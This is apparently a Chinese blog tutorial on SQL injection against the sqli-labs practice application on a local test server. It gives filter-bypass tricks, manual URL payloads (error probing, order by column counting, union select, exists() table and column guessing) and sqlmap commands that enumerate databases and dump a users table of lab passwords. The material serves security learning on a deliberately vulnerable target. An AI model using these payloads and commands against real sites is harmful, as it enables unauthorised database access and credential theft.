SQL注入

1.# 对应URL编码为%23,有时候直接输入#无法引掉后面内容

2.#对应SQL SERVER --对应MYSQL /** */为SQL注释

3.过滤空格时可用换行%0a

4.过滤\s时可用/**/表示空格

5.转自:http://hi.baidu.com/huting/item/628438b083f93455bb0e1278:

How to do sql injections with SQLMAP

  --------书写只是为了更好的思考

                                                                    

 By:PgHook


0x1 前面的废话

0x2 传统的手工

  第一步、判断是否存在注入点

  第二步、得到数据库的消息

0x3、sqlmap 传统用法

  1、枚举数据库

  2、列出数据库中数据表

  3、列出users表中字段

  4、得到字段里面的内容

0x4、sqlmap高级的用法(呵呵!其实也不怎么高级啦)



0x1 前面的废话

   好无聊啊!好久没有在博客上发表文字了,都快废了。我还是鼓起勇气,写篇扫盲吧!

呵呵!很久没写博客了,只是为了让博客继续下去,大牛绕道啊!关键看后面啊!前面

是自己的总结。


0x2 传统的手工     

 

目标是http://testphp.vulnweb.com/listproducts.php?cat=1

专门供测试学习用的,我这里不用这个了,访问速度太慢了。

我用的是sqli-labs-master网上有源码,大家可以去下载下来。

它也是专门供测试人员学习用的。

     这个是我的目标:http://192.168.2.214/sqli-labs-master/Less-2/?id=1

 

第一步、判断是否存在注入点  废话部分

方法一、

     一般都是在url后面加个http://192.168.2.214/sqli-labs-master/Less-2/?id=1’),让sql语句出错,那么页面就会提示出错信息。这个时候我们就可以判断这里存在注入。

当然还有可能你加了,和没加是一样的,这也有可能是注入。因为当把错误提示关闭时,它是不会再页面显示的,这个时候我们就需要用到第二种方法了。

     

方法二、and 1=1/2

     如下:

     http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=1  

     http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2

     如果第一个页面显示和原来一样,第二个页面和原来不一样就说明存在注入了。

实战部分:

     http://192.168.2.214/sqli-labs-master/Less-2/?id=1

提交上去报错了

    Youhave an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

  

报错了。

 

 

第二步、得到数据库的信息


1、猜解字段数目

     这里要用到order by语句了,很多人都知道order by 猜解字段数目用的。

sql语言中order by 是排序用的,它可以根据你表里面的字段来排序(默认

是升序,当然你也可以用DESC关键字进行降序排列)。

 

在猜解的时候order by x后面我们都是接的数字。你知道那个数字x是什么意思么??

意思根据第x歌字段的长度(大小)来排序。

    

如果我只有3个字段,你在orderby 后面加个4,成了order by 4

那你说会怎么样了??毫无疑问,肯定要报错啦!这样我们就猜出来了

字段的数目了

   

   http://192.168.2.214/sqli-labs-master/Less-2/?id=1order by x

这里这个x是一个数字,如果输入x页面报错,x-1页面正常。

那说明有x-1个字段

 

  我这里输入4的时候报错了http://192.168.2.214/sqli-labs-master/Less-2/?id=1order by 4

      Unknowncolumn '4' in 'order clause'

  输入3时,页面正常。那说明字段是3啦!

 

 

2、使用联合查询获取敏感信息

  这里使用到的是union操作符,它用于合并两个或多个select语句的结果集。

注意:union内部的select语句必须拥有相同数量的字段。字段也必须有相同的数据

类型。

  上面我们已经知道字段数目,就开始吧!

实战

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 union select 1,2,3

 

Welcome   Dhakkan 
Your Login name:2
Your Password:3

 

 

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 union select 1,user(),version()

 

Welcome   Dhakkan 
Your Login name:root@localhost
Your Password:5.0.51a-3ubuntu5

 

A1、猜解表名

and 1=2 and exists(select * from 表名)

 

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 and exists(select * from admin)

 

Welcome   Dhakkan 
Table 'security.admin' doesn't exist

看见没这个table不存在。

 

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 and exists(select * from users)

 

Welcome   Dhakkan 
Your Login name:Dumb
Your Password:Dumb

 

页面正常,说明存在该表。

 

A2、猜解字段

and 1=2 and exists(select 字段名from 表名)

 

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and exists(select user from users)

 

Welcome   Dhakkan 
Unknown column 'user' in 'field list'

 

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and exists(select username from users)

 

Welcome   Dhakkan 
Your Login name:Dumb
Your Password:Dumb

 

页面正常,说明存在该字段

这里我就不一一试了,得到了username

 

A3、使用union得到数据

http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 2=1 union select 1,password,3 from users

 

Welcome   Dhakkan 
Your Login name:Dumb
Your Password:3

 

 

0x3sqlmap 传统用法1、枚举数据库

python sqlmap.py -uhttp://192.168.2.214/sqli-labs-master/Less-2/?id=1 --dbs

available databases [14]:

[*] information_schema

[*] metasploit

[*] my_db

[*] mysql

[*] owasp10

[*] security

 

2、列出数据库中数据表

python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1–D security --tables

Database: security

[4 tables]

+----------+

| emails  |

| referers |

| uagents |

| users   |

+----------+

 

3、列出users表中字段

python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1-D security -T users –columns

 

Database: security

Table: users

[3 columns]

+----------+-------------+

| Column  | Type        |

+----------+-------------+

| id      | int(3)      |

| password | varchar(20) |

| username | varchar(20) |

+----------+-------------+

 

 

4、得到字段里面的内容

python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1-D security -T users -C id,password,username –dump

 

Database: security

Table: users

[13 entries]

+----+----------+------------+

| id | username | password   |

+----+----------+------------+

| 1 | Dumb     | Dumb       |

| 2 | Angelina | I-kill-you |

| 3 | Dummy    | p@ssword   |

| 4 | secure   | crappy     |

| 5 | stupid   | stupidity  |

| 6 | superman | genious    |

| 7 | batman   | mob!le     |

| 8 | admin    | admin      |

| 9 | admin1   | admin1     |

| 10 | admin2   | admin2    |

| 11 | admin3   | admin3    |

| 12 | dhakkan  | dumbo     |

| 14 | admin4   | admin4    |

+----+----------+------------+

 

 

 

当然这上面写的应该是比较规矩的做法,当然你也可以有不规矩的做法啦!

 

 

0x4sqlmap高级的用法(呵呵!其实也不怎么高级啦)

   

python sqlmap.py -c sqlmap.conf –dbs

 

available databases [14]:

[*] bWAPP

[*] dvwa

[*] exercises

[*] hehe

[*] heihei

[*] information_schema

[*] metasploit

[*] my_db

[*] mysql

[*] owasp10

[*] security

[*] sqlol

[*] tikiwiki

[*] tikiwiki195

 

这里其实就是利用sqlmap里面的sqlmap.conf文件,

在这个文件中你可以添加参数,这是个很有内涵的文件,里面的奥秘期待你来揭开。

 

哈哈!我这里就不再继续了。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值